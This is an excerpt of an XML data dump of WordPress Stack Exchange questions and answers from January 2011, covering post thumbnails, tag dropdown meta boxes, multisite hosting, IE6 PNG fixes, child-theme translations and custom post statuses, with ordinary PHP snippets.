  <row Id="7348" PostTypeId="2" ParentId="7337" CreationDate="2011-01-20T16:29:09.807" Score="1" ViewCount="" Body="&lt;p&gt;Thumbnails are accessable via $attachment objects, which are basically post objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the thumbnails are &lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails&quot; rel=&quot;nofollow&quot;&gt;generated by WordPress&lt;/a&gt;, there's &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;great native functions&lt;/a&gt; you can use by simply pasting some code into the right spot in your footer.php template file while looping through your posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some demo code copped from examples on the Codex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attributes = array(&#xA;   'src' =&amp;gt; $src,&#xA;   'class' =&amp;gt; &quot;attachment-$size&quot;,&#xA;   'alt' =&amp;gt; trim(strip_tags( $post-&amp;gt;post_excerpt )),&#xA;   'title' =&amp;gt; trim(strip_tags( $post-&amp;gt;post_title )),&#xA;);&#xA;$size = array(250,250);&#xA;the_post_thumbnail($size, $attributes);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-20T16:29:09.807" />
  <row Id="7349" PostTypeId="1" AcceptedAnswerId="7353" CreationDate="2011-01-20T16:37:15.040" Score="0" ViewCount="517" Body="&lt;p&gt;I would like to group posts of a custom post type based on tags, but the default functionality does not do for the project I am working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the user to be able to select only one tag, not multiple tags, from a list of all the tags entered for that custom post type (drop down or radio buttons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user can create as many tags as he wants from the page for adding a custom taxonomy, and all these tags will be listed in the meta box on the single custom post page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion?&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-02-01T18:05:18.037" Title="Display list of tags as drop down menu or radio buttons in a meta box?" Tags="&lt;metabox&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="7350" PostTypeId="1" CreationDate="2011-01-20T16:59:25.863" Score="0" ViewCount="308" Body="&lt;p&gt;Is it possible to run multiple WordPress sites off of a single VPS?  These sites would be completely separate as far as users and content, but I don't know if it's possible to have this for two different URLs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Network&lt;/a&gt; documentation, it appears that is used for different sub-domains, but I want to be able to run &lt;strong&gt;example.com&lt;/strong&gt; and &lt;strong&gt;test.com&lt;/strong&gt; as two separate sites but hosted on the same server.  Is this possible?&lt;/p&gt;&#xA;" LastActivityDate="2011-01-21T10:50:55.677" Title="How can I run multiple unique WordPress sites off of one VPS" Tags="&lt;multisite&gt;&lt;urls&gt;" AnswerCount="4" />
  <row Id="7351" PostTypeId="2" ParentId="7350" CreationDate="2011-01-20T17:02:34.597" Score="0" ViewCount="" Body="&lt;p&gt;I believe the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;Domain Mapping Plugin&lt;/a&gt; is what you're looking for :)&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-20T17:02:34.597" />
  <row Id="7352" PostTypeId="1" AcceptedAnswerId="7419" CreationDate="2011-01-20T17:19:03.410" Score="0" ViewCount="167" Body="&lt;p&gt;I'm creating a simple directory from the user accounts and want to simplify it as much as possible for the users. I changed the label on nickname to Lastname, Firstname so that the users can be alphabetized by the nickname field, but I want the display_name to default, or even force, to the nickname field. I haven't seen a plugin, so I'm looking for something I can add to the functions to do this. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2011-04-05T16:10:10.453" Title="How to default/force the user's display_name to their nickname?" Tags="&lt;users&gt;" AnswerCount="1" />
  <row Id="7353" PostTypeId="2" ParentId="7349" CreationDate="2011-01-20T17:39:02.337" Score="2" ViewCount="" Body="&lt;p&gt;In my last project i had the same issue and i just used this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first get the list of tags to a var using the get_categories function by passing the right taxonomy like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $args = array(&#xA;&#xA;    'orderby'                  =&amp;gt; 'name',&#xA;    'order'                    =&amp;gt; 'ASC',&#xA;    'hide_empty'               =&amp;gt; 0,&#xA;    'taxonomy'                 =&amp;gt; 'post_tag'&#xA;    );&#xA;$categories=get_categories($args);&#xA;    foreach($categories as $category) { &#xA;    $tags[] =  $category-&amp;gt;name ;  &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then create the arguments for the meta box&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prefix = 'CPT_my_meta';&#xA;$meta_box = array(&#xA;    'id' =&amp;gt; 'custom-meta-box',&#xA;    'title' =&amp;gt; 'tags',&#xA;    'page' =&amp;gt; 'CPT name',&#xA;    'context' =&amp;gt; 'normal',&#xA;    'priority' =&amp;gt; 'high',&#xA;    'fields' =&amp;gt; array(&#xA;        array(&#xA;            'name' =&amp;gt; 'tags',&#xA;            'desc' =&amp;gt; 'select a tag',&#xA;            'id' =&amp;gt; $prefix . 'name',&#xA;            'type' =&amp;gt; 'select',&#xA;            'options' =&amp;gt; $tags&#xA;        )))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add the meta box&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'add_my_box');&#xA;&#xA;// Add meta box&#xA;function add_my_box() {&#xA;    global $meta_box;&#xA;&#xA;    add_meta_box($meta_box['id'], $meta_box['title'], 'metabox_callback', $meta_box['page'], $meta_box['context'], $meta_box['priority']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then all you have to do is create a function to show the meta box&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//show meta box&#xA;function metabox_callback(){&#xA;global $meta_box, $post;&#xA;&#xA;    // Use nonce for verification&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;META_BOX_NONEC&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;&#xA;    echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;    foreach ($meta_box['fields'] as $field) {&#xA;        // get current post meta data&#xA;        $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;&#xA;        echo '&amp;lt;tr&amp;gt;',&#xA;                '&amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;', $field['id'], '&quot;&amp;gt;', $field['name'], '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;',&#xA;                '&amp;lt;td&amp;gt;';&#xA;        switch ($field['type']) {&#xA;            case 'select':&#xA;                echo '&amp;lt;select name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot;&amp;gt;';&#xA;                foreach ($field['options'] as $option) {&#xA;                    echo '&amp;lt;option', $meta == $option ? ' selected=&quot;selected&quot;' : '', '&amp;gt;', $option, '&amp;lt;/option&amp;gt;';&#xA;                }&#xA;                echo '&amp;lt;/select&amp;gt;';&#xA;                break;&#xA;        }&#xA;        echo    '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and save it on post save&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//hook save function&#xA;add_action('save_post', 'save_my_meta_box');&#xA;&#xA;// Save data from meta box&#xA;function save_my_meta_box($post_id) {&#xA;    global $meta_box;&#xA;&#xA;    // verify nonce&#xA;    if (!wp_verify_nonce($_POST['META_BOX_NONEC'], basename(__FILE__))) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // check autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // check permissions&#xA;    if ('page' == $_POST['post_type']) {&#xA;        if (!current_user_can('edit_page', $post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;    } elseif (!current_user_can('edit_post', $post_id)) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    foreach ($meta_box['fields'] as $field) {&#xA;        $old = get_post_meta($post_id, $field['id'], true);&#xA;        $new = $_POST[$field['id']];&#xA;&#xA;        if ($new &amp;amp;&amp;amp; $new != $old) {&#xA;            update_post_meta($post_id, $field['id'], $new);&#xA;        } elseif ('' == $new &amp;amp;&amp;amp; $old) {&#xA;            delete_post_meta($post_id, $field['id'], $old);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-20T17:39:02.337" CommentCount="4" />
  <row Id="7354" PostTypeId="1" AcceptedAnswerId="7355" CreationDate="2011-01-20T17:42:47.777" Score="1" ViewCount="89" Body="&lt;p&gt;Is there a plugin that will tweet my Wordpress posts?&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2011-01-20T22:54:11.460" Title="Is there a Twitter plugin?" Tags="&lt;plugins&gt;&lt;twitter&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="7355" PostTypeId="2" ParentId="7354" CreationDate="2011-01-20T17:45:19.063" Score="2" ViewCount="" Body="&lt;p&gt;There are several. I prefer one called &lt;a href=&quot;http://wordpress.org/extend/plugins/wordtwit/&quot; rel=&quot;nofollow&quot;&gt;WordTwit&lt;/a&gt;, but &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-tools&quot; rel=&quot;nofollow&quot;&gt;Twitter Tools&lt;/a&gt; is probably the most popular.&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2011-01-20T17:45:19.063" />
  <row Id="7356" PostTypeId="2" ParentId="7350" CreationDate="2011-01-20T17:48:40.357" Score="1" ViewCount="" Body="&lt;p&gt;Well you have two options, you can either do vhosting and have separate instances for each domain. This would mean the sites would be completely independent from each other. If you're thinking of selling of a site or moving it to a different vps/server because it's outgrown the current and deserving of it's own server. Also some plugins don't fully support multisites. Drawbacks are this is a high maintance and harder task to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can turn your site into a multi site install and then use the Domain Mapping Plugin Pippin has mentioned. This is all round the easier method, you just follow the instructions. And you're users can use the same account on both sites. Depending on your setup multisites can result in a major pain in the ass. However for most people it's just fine.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-20T17:48:40.357" CommentCount="2" />
  <row Id="7357" PostTypeId="1" AcceptedAnswerId="7372" CreationDate="2011-01-20T17:50:10.973" Score="0" ViewCount="149" Body="&lt;p&gt;I saw &lt;a href=&quot;http://stackoverflow.com/questions/60740/which-jquery-plugin-should-be-used-to-fix-the-ie6-png-transparency-issue&quot;&gt;this post&lt;/a&gt; on SO but the selected solution got a couple of really unflattering comments...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add a png fix script to my theme to handle issues with PNG support on IE6 predominantly. I have customers who say that IE6 is upwards of 1/3rd of their traffic if you can believe that. I know that Google is completely abandoning IE6 in Google apps, including Gmail this year, which will hopefully put the nail in the coffin, but until then...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best PNG fix for use with WP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I want something that works but is very concise in code footprint.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-20T19:43:21.137" Title="What PNG Fix script do you recommend for IE6?" Tags="&lt;theme-development&gt;" AnswerCount="3" />
  <row Id="7358" PostTypeId="2" ParentId="7332" CreationDate="2011-01-20T17:55:11.613" Score="2" ViewCount="" Body="&lt;p&gt;I would try &quot;wp_insert_post_data&quot; filter. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data', 'new_content' );&#xA;function new_content($content) {    &#xA;    preg_match_all('~&amp;lt;a.*&amp;gt;~isU',$content[&quot;post_content&quot;],$matches);&#xA;    for ( $i = 0; $i &amp;lt;= sizeof($matches[0]); $i++){&#xA;&#xA;        if ( !preg_match( '~nofollow~is',$matches[0][$i]) ){&#xA;            $result = trim($matches[0][$i],&quot;&amp;gt;&quot;);&#xA;            $result .= ' rel=&quot;nofollow&quot;&amp;gt;';&#xA;            $content['post_content'] = str_replace($matches[0][$i], $result, $content['post_content']);&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously needs work, just a PoC.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastEditorUserId="2596" LastEditorDisplayName="" LastEditDate="2011-01-21T12:35:05.040" LastActivityDate="2011-01-21T12:35:05.040" CommentCount="6" />
  <row Id="7359" PostTypeId="1" AcceptedAnswerId="7362" CreationDate="2011-01-20T18:08:19.720" Score="0" ViewCount="405" Body="&lt;p&gt;How can I define a custom field that works as an image upload? Should be fairly basic but I can't seem to find the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you create the post type 'book' and want to create 3 fields: cover, back, index... I don't know...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done similar stuff in the past with flutter/magic fields but they don't seem to be updated or support native WP3 custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatives anyone? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="971" LastActivityDate="2011-01-20T18:32:45.563" Title="Create custom fields as image uploads" Tags="&lt;wp-admin&gt;&lt;custom-field&gt;&lt;customization&gt;&lt;uploads&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7360" PostTypeId="2" ParentId="7357" CreationDate="2011-01-20T18:16:19.730" Score="0" ViewCount="" Body="&lt;p&gt;The best png fix I have found is &lt;a href=&quot;http://dillerdesign.com/experiment/DD_belatedPNG/&quot; rel=&quot;nofollow&quot;&gt;http://dillerdesign.com/experiment/DD_belatedPNG/&lt;/a&gt;. It is only 7kb. I have found it to work on any element (image or background image) I have tried without issue. It's the easiest method I have found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script not tied to a specific JS library so you can use it anywhere. I would recommend including the file in a conditional comment that targets IE 6 and you don't need to worry about the extra 7kb being added to the other browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For HTML images I find it easy to add a class to the them via jquery ($('img[src$=.png]').addClass('pngFix');) then you can call that class in the DD_belatedPNG fix and it will get all the png images added through WordPress by the user.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-01-20T18:16:19.730" />
  <row Id="7361" PostTypeId="2" ParentId="7357" CreationDate="2011-01-20T18:24:22.017" Score="0" ViewCount="" Body="&lt;p&gt;I really like this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/hits-ie6-pngfix/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hits-ie6-pngfix/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works really well and includes multiple options for scripts to use, and it does everything for you.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-20T18:24:22.017" />
  <row Id="7362" PostTypeId="2" ParentId="7359" CreationDate="2011-01-20T18:32:45.563" Score="1" ViewCount="" Body="&lt;p&gt;Try the Multiple Post Thumbnails plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&lt;/a&gt;.  It will allow you to set a post type to have more than one post thumbnail, so you can set a front, back, index separately using the built-in handling.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-01-20T18:32:45.563" CommentCount="1" />
  <row Id="7363" PostTypeId="2" ParentId="7331" CreationDate="2011-01-20T18:35:40.550" Score="1" ViewCount="" Body="&lt;p&gt;very simeler to the question here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7349/display-list-of-tags-as-drop-down-menu-or-radio-buttons-in-a-meta-box/7353#7353&quot;&gt;Display list of tags as drop down menu or radio buttons in a meta box?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but instead of list of tags you need to query the post list of your travellers post type&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$travelers = new WP_Query();&#xA;$travelers -&amp;gt;query('post_type=travelers&amp;amp;postprepage=-1');&#xA;while ($travelers-&amp;gt;have_posts()) : &#xA;   $recentPosts-&amp;gt;the_post();&#xA;   $travellersnames[] = $post-&amp;gt;title;&#xA;endwhile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and show the $travellersnames as your option for a select filed or multi select filed in your meta box&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-20T18:35:40.550" CommentCount="2" />
  <row Id="7364" PostTypeId="1" AcceptedAnswerId="7369" CreationDate="2011-01-20T18:42:06.503" Score="0" ViewCount="130" Body="&lt;p&gt;I’m planning ahead for a class website, where students will have the choice to either build their pages from scratch, or to use a WordPress multisite install as a CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like their work to sport URLs such as :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http:// myschool.edu/2011/project1 ➤ WP blog&lt;br&gt;&#xA;http:// myschool.edu/2011/project2 ➤ serves files directly uploaded by the students&lt;br&gt;&#xA;http:// myschool.edu/2011/project3 ➤ WP blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to have it work for future years too (2012, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My gut feeling is that this would be possible to achieve with some Redirect rules in the Apache configuration. Even if I have to manually write them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone with more experience with the WP Network feature and ModRewrite confirm this is possible? Or suggest an altogether better alternative? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2622" LastActivityDate="2011-01-20T19:03:01.793" Title="Static directories in a WordPress multisite network" Tags="&lt;multisite&gt;&lt;mod-rewrite&gt;" AnswerCount="2" />
  <row Id="7365" PostTypeId="1" CreationDate="2011-01-20T18:44:00.453" Score="0" ViewCount="359" Body="&lt;p&gt;i'm working in a twenty ten child theme, i want to change the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;load_theme_textdomain( 'twentyten', TEMPLATEPATH . '/languages' );&#xA;&#xA;$locale = get_locale();&#xA;$locale_file = TEMPLATEPATH . &quot;/languages/$locale.php&quot;;&#xA;if ( is_readable( $locale_file ) )&#xA;  require_once( $locale_file );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;locate in the twentyten functions by the one in my child theme :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;load_theme_textdomain( 'BETA', STYLESHEETPATH . '/languages' );&#xA;$locale = get_locale();&#xA;$locale_file = STYLESHEETPATH . &quot;/languages/$locale.php&quot;;&#xA;if ( is_readable( $locale_file ) )&#xA;  require_once( $locale_file ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this change in the stylesheetpath the twenty ten function is still taking over my own function How can i fix that ?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-21T12:17:31.093" LastActivityDate="2011-05-04T23:27:31.967" Title="Link to a .po file in a child theme" Tags="&lt;theme-development&gt;&lt;multi-language&gt;&lt;child-theme&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7366" PostTypeId="2" ParentId="7364" CreationDate="2011-01-20T18:55:20.430" Score="0" ViewCount="" Body="&lt;p&gt;So basically all you want is to have a folder that content's are static?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the default WordPress's rewrite rules, if a folder or file which has been called exists then the rewrite rule isn't follow and the static folder or file is served. So what would happen is if they try to access the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http:// myschool.edu/2011/project2 &amp;lt;- it would get served.&#xA;http:// myschool.edu/2011/project2/404.html &amp;lt;- WordPress 404 message.&#xA;http:// myschool.edu/2011/project2/exists.html &amp;lt;- it would get served.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-20T18:55:20.430" CommentCount="1" />
  <row Id="7367" PostTypeId="1" AcceptedAnswerId="9864" CreationDate="2011-01-20T18:57:07.573" Score="0" ViewCount="237" Body="&lt;p&gt;I've been trying to use the front page from the &lt;a href=&quot;http://wordpress.org/extend/themes/autofocus&quot; rel=&quot;nofollow&quot;&gt;Autofocus theme&lt;/a&gt; in a different theme by copy pasting the code from index.php in the Autofocus theme to my new archive.php file. I have also copied the related functions from functions.php from Autofocus, I also tried to get some of the css over to the new theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this for a long time and with multiple tweaks but I can't get it to work. I get both images and text, but not in the same style as in the Autofocus theme, and definitely not with the cropping autofocus has on its front screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here? Shouldn't it work if I copy the whole fuctions.php in to the new one and copy all the css? &lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2011-04-21T04:41:09.390" Title="Designing a custom archive.php inspired by the Autofocus theme" Tags="&lt;theme-development&gt;&lt;images&gt;&lt;archive&gt;" AnswerCount="4" />
  <row Id="7368" PostTypeId="2" ParentId="5058" CreationDate="2011-01-20T18:59:24.963" Score="0" ViewCount="" Body="&lt;p&gt;I'm trying to do something very similar.  Here's what I've got so far, using a custom post type of &quot;product&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$children = wp_list_pages(&quot;sort_column=menu_order&amp;amp;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;post_type=productE&amp;amp;echo=0&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this generates the list; unfortunately the links are generated as &#xA;&lt;code&gt;siteurl.com/parent-product/child-page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which causes a 404.  Doing a view from the edit screen shows the desired url as&#xA;&lt;code&gt;siteurl.com/?product=child-page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/more-types/&quot; rel=&quot;nofollow&quot;&gt;More Types&lt;/a&gt; plugin, so set the permalink base for the custom post type to &lt;code&gt;product&lt;/code&gt;, using the advanced tab while editing the type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This did the trick for me.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-25T09:04:44.937" LastActivityDate="2011-01-25T09:04:44.937" />
  <row Id="7369" PostTypeId="2" ParentId="7364" CreationDate="2011-01-20T19:03:01.793" Score="1" ViewCount="" Body="&lt;p&gt;If a folder physically exists on the server, that will override the blog address in multisite. No fancy rewrites needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your only issue is making sure that they have access to that folder and that folder only, if they choose the static one. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: You cannot nest URLs in multisite. You'd need a new install in each year folder to get what you want.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-20T19:03:01.793" CommentCount="1" />
  <row Id="7370" PostTypeId="2" ParentId="7350" CreationDate="2011-01-20T19:05:06.490" Score="0" ViewCount="" Body="&lt;p&gt;If you want physically separate installs, then... yes. You do not need the network feature for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have multiple domains on one vps, some single WP installs, some networks, some with domain mapping, some not.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-20T19:05:06.490" />
  <row Id="7371" PostTypeId="2" ParentId="7365" CreationDate="2011-01-20T19:28:59.453" Score="1" ViewCount="" Body="&lt;p&gt;You will need to use the function load_child_theme_textdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wphit.com/lookup/2010/03/load_child_theme_textdomain/&quot; rel=&quot;nofollow&quot;&gt;http://wphit.com/lookup/2010/03/load_child_theme_textdomain/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is some interesting discussion here.. &#xA;&lt;a href=&quot;http://themeshaper.com/forums/topic/add-languages-files-to-child-theme&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/forums/topic/add-languages-files-to-child-theme&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2604" LastActivityDate="2011-01-20T19:28:59.453" CommentCount="2" />
  <row Id="7372" PostTypeId="2" ParentId="7357" CreationDate="2011-01-20T19:43:21.137" Score="2" ViewCount="" Body="&lt;p&gt;Drawbacks using javascript to fix the PNG issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;higher chances theat the IE-6 visitor doesn't have javascript turned on, than on a modern browser&lt;/li&gt;&#xA;&lt;li&gt;~1-2 sec. flicker until page finishes loading and javascript completes processing (on IE-6 js is slow)&lt;/li&gt;&#xA;&lt;li&gt;fixing repeating transparent background images is very buggy in these type of scripts, in most cases you'll get a CSS mess...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I don't recommend any PNG &quot;fix&quot; script. Instead create 8 bit PNG images with alpha transparency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ethanandjamie.com/blog/37-user-interface/81-png8-transparency-without-fireworks&quot; rel=&quot;nofollow&quot;&gt;http://www.ethanandjamie.com/blog/37-user-interface/81-png8-transparency-without-fireworks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to follow that tutorial because Photoshop can't save in this type of format. Then simply use them for IE 6 in a dedicated stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only drawback here is the lower quality of 8 bit (256 color) PNG images converted from a image with a high number of colors (which should really be rare on a website because of their size). But that shouldn't be a problem because IE 6 users are used to sh* quality anyway :)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-20T19:43:21.137" CommentCount="1" />
  <row Id="7373" PostTypeId="1" AcceptedAnswerId="8306" CreationDate="2011-01-20T19:47:55.087" Score="2" ViewCount="261" Body="&lt;p&gt;I'm (still) working on a custom post type plugin for my workplace and came across an easier method of marking Visitors (my custom post type) as either &quot;Here&quot; (aka checked-in) or &quot;Not Here&quot; (not checked-in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've explored the &lt;a href=&quot;http://wordpress.org/extend/plugins/edit-flow/&quot; rel=&quot;nofollow&quot;&gt;Edit Flow&lt;/a&gt; plugin and, to be honest, I can't really follow what all is going on here... I did however come across a function that appears to be in WordPress' core, but I can't seem to find much documentation on the web (none on wordpress.org even). The function is &lt;code&gt;register_post_status&lt;/code&gt; but the best I found was &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/_functions/register_post_status.html&quot; rel=&quot;nofollow&quot;&gt;this resource&lt;/a&gt; which at best only shows me the arguments that go with the function's &lt;code&gt;$args&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone ever tried this? Or am I the only one who's really needed custom post statuses for custom post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I've read &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/post.php.source.html#l88&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/post.php.source.html#l608&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; as per &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7373/custom-post-type-statuses/8116#8116&quot;&gt;the answers/comments I've received&lt;/a&gt;. Here is an implementation that I'm not 100% sure about because documentation is lacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it doesn't work, but I don't get &lt;em&gt;why&lt;/em&gt; it doesn't work. Neither of the two statuses show up in the status list. My next course of action is to hack it with a taxonomy and just create my own 'Publish' meta box.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    register_post_status('in', array(&#xA;            'label' =&amp;gt; _x( 'Logged In', $post_type ),&#xA;            'protected' =&amp;gt; true,&#xA;            'label_count' =&amp;gt; _n_noop( 'Visitors logged in &amp;lt;span class=&quot;count&quot;&amp;gt;(%s)&amp;lt;/span&amp;gt;', 'Visitors logged in &amp;lt;span class=&quot;count&quot;&amp;gt;(%s)&amp;lt;/span&amp;gt;' ),&#xA;            'show_in_admin_status_list' =&amp;gt; true,&#xA;        ));&#xA;&#xA;    register_post_status('out', array(&#xA;            'label' =&amp;gt; _x( 'Logged Out', $post_type ),&#xA;            'protected' =&amp;gt; true,&#xA;            'label_count' =&amp;gt; _n_noop( 'Visitors logged out &amp;lt;span class=&quot;count&quot;&amp;gt;(%s)&amp;lt;/span&amp;gt;', 'Visitors logged out &amp;lt;span class=&quot;count&quot;&amp;gt;(%s)&amp;lt;/span&amp;gt;' ),&#xA;            'show_in_admin_status_list' =&amp;gt; true,&#xA;        